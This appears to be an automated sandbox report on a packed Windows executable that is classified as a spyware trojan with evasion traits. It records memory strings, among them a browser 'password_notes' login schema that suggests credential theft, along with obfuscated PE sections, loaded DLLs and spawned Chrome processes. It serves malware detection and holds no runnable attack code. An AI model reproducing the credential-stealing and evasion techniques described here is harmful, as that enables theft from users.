Source: file.exe, 00000000.00000003.1684394514.00000000062D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680733143.000000000629A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683024771.0000000006391000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682274950.00000000062BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679258119.0000000006290000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685866782.00000000062F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683357482.000000000639D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1784962180.0000000006786000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686652105.00000000062FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1687846610.0000000006306000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1690961389.0000000006481000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689280060.000000000632A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1784310909.0000000005E05000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO@L vs file.exe
Source: file.exe, 00000000.00000003.1679047557.0000000006285000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689704442.00000000061E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680362620.00000000061EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1784604154.00000000064BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688729935.00000000061EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682389897.00000000061E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681499781.00000000061EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684887948.00000000061EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683467414.00000000061E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684500935.00000000061E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680262266.0000000006299000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682724456.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685975794.00000000061E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679541588.0000000006296000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1690774991.0000000006331000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682830036.00000000061E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1784084547.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678241486.0000000005FE2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686532327.00000000061E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1781839404.0000000001439000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1682622830.00000000061EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681597305.00000000062A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680915013.00000000061E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681916977.0000000006366000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680991824.0000000006297000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1680550569.0000000006295000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678884387.0000000006287000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681380278.0000000006354000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688871534.000000000631B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1690289395.0000000006327000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679436926.00000000061F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1687715565.00000000061ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685033664.00000000062E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683728694.00000000061E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686413125.00000000063EE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682936105.00000000062B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688583748.0000000006319000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689010634.000000000644F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1691393400.0000000006324000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688186084.00000000061EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679632252.00000000061E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688330825.000000000631E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678964369.00000000061EB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1687033964.00000000062FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686907206.00000000061E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682020881.00000000061F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684285744.00000000061F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1722872707.0000000001439000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1684608018.00000000062E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678317582.0000000005E45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678640189.000000000627F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1687442227.00000000061E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679346805.000000000633D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685370323.00000000061E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1722956807.0000000001403000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685222984.00000000063DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685776081.00000000061E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684171107.00000000063C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683236720.00000000062B4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1679135397.00000000061EC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683131055.00000000061E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1682494789.00000000062B5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1687306182.0000000006418000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681806181.00000000062A3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688046344.000000000642E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1683579305.00000000062C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1690143451.00000000061E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689562725.000000000631C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1691610173.000000000647F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689978780.000000000645A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1691183891.00000000061E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1685657090.00000000063D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686297537.00000000062E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681138547.00000000061E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1688455412.00000000061F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689428600.00000000061E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1690457768.00000000061E9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686180646.00000000061E3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1687579782.0000000006307000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1678802288.00000000061ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1686781599.000000000641D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1780084081.0000000001439000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefO vs file.exe
Source: file.exe, 00000000.00000003.1686090127.00000000062EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681698489.00000000061E4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1681226692.0000000006293000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1684021039.00000000062D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1689841926.0000000006315000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9995771585051546
Source: file.exe	Static PE information: Section: hsnjpung ZLIB complexity 0.9948033340800478

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/64@9/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1406509156.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1365712370.0000000005D78000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1366054505.0000000005D5A000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1944,i,15678705187657892955,17844764496678976098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1928,i,17398790498450911145,18130191618194724577,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1944,i,15678705187657892955,17844764496678976098,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=1928,i,17398790498450911145,18130191618194724577,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1878528 > 1048576

Source: file.exe

Static PE information: Raw size of hsnjpung is bigger than: 0x100000 < 0x1a2800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.2a0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;hsnjpung:EW;ysrnjetn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;hsnjpung:EW;ysrnjetn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cc337 should be: 0x1d9d95

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: hsnjpung
Source: file.exe	Static PE information: section name: ysrnjetn
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0142489E push edi; retf	0_3_014248A0
